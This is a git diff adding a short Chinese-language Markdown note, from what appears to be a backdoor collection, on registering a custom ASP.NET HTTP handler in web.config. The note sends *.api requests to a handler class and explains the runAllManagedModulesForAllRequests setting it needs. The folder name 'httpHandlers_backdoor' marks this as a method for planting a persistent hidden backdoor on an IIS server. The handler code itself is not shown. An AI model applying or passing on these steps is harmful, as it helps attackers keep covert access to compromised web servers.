diff --git a/aspx/httpHandlers_backdoor/httpHandlers.md b/aspx/httpHandlers_backdoor/httpHandlers.md
new file mode 100644
index 0000000..fc17d0e
--- /dev/null
+++ b/aspx/httpHandlers_backdoor/httpHandlers.md
@@ -0,0 +1,14 @@
+修改web.config，添加或者修改httpHandlers:
+
+  <httpHandlers>
+    <add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/>
+  </httpHandlers>
+  
+如果已经存在 httpHandlers 则在标签内添加，如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里
+
+但是有一点需要特别注意：<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。
+
+  <system.webServer>
+    <modules runAllManagedModulesForAllRequests="true" />
+  </system.webServer>
+